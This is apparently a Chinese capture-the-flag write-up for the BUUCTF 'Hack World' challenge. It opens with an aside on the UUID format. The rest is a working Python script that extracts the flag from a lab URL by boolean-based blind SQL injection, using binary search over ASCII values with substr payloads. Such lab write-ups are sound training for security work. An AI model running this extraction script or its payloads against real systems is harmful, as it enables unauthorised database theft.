107,【7】buuctf web [CISCN2019 华北赛区 Day2 Web1]Hack World
这次先不进入靶场
看到红框里面的话就想先看看uuid是啥
定义与概念
UUID 是 Universally Unique Identifier 的缩写,即通用唯一识别码。它是一种由数字和字母组成的 128 位标识符,在理论上可以保证在全球范围内的唯一性。UUID 的设计目的是让分布式系统中的所有元素都能有唯一的辨识信息,而不需要通过中央控制端来指定唯一标识符。
格式
UUID 的标准格式是 32 个十六进制数字,被连字符分隔成 5 个部分,形式为
xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx
,其中:
xxxxxxxx
表示 8 位十六进制数字。M
表示 UUID 的版本号,目前有 1 - 5 共 5 个版本。N
表示 UUID 的变体(Variant),常见的有 1、2、4 等。例如:
550e8400-e29b-41d4-a716-446655440000
进入靶场
害怕你看不懂,给你翻译一下
感觉很像sql注入
尝试1'
一看到bool(false)就想到之前做过的一道题,这种布尔类型用脚本会方便很多,人为一个个输太麻烦
54,【4】BUUCTF WEB GYCTF2020Ezsqli-CSDN博客
select(flag)from(flag)
:从flag
表中选择flag
字段的值。substr(..., {i}, 1)
:从flag
字段的值中提取第i
个字符。ascii(...)
:获取该字符的 ASCII 码。ascii(...) > {mid}
:判断该字符的 ASCII 码是否大于mid
。
import requests
import time
url = "http://bc228b3d-090b-4f59-b55a-31f11d9c40ce.node5.buuoj.cn:81/"
payload = {
"id": ""
}
flag = ""
for i in range(1, 200):
print(f"\n正在尝试获取第 {i} 个字符...")
time.sleep(0.06)
head = 33
tail = 130
mid = (head + tail) // 2
while head < tail:
payload["id"] = f"(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
print(f"当前尝试的 payload: {payload}")
try:
res = requests.post(url, data=payload)
res_text = res.text
status_code = res.status_code
print(f"请求状态码: {status_code}")
if "Hello" in res_text:
head = mid + 1
print(f"响应中包含 'Hello',更新左边界为 {head}")
else:
tail = mid
print(f"响应中不包含 'Hello',更新右边界为 {tail}")
mid = (head + tail) // 2
except requests.RequestException as e:
print(f"请求发生错误: {e}")
break
if chr(mid) == " ":
print("遇到空格,停止获取字符。")
break
flag += chr(mid)
print(f"成功获取到第 {i} 个字符,当前已获取的 flag 为: {flag}")
print(f"最终获取到的 flag: {flag}")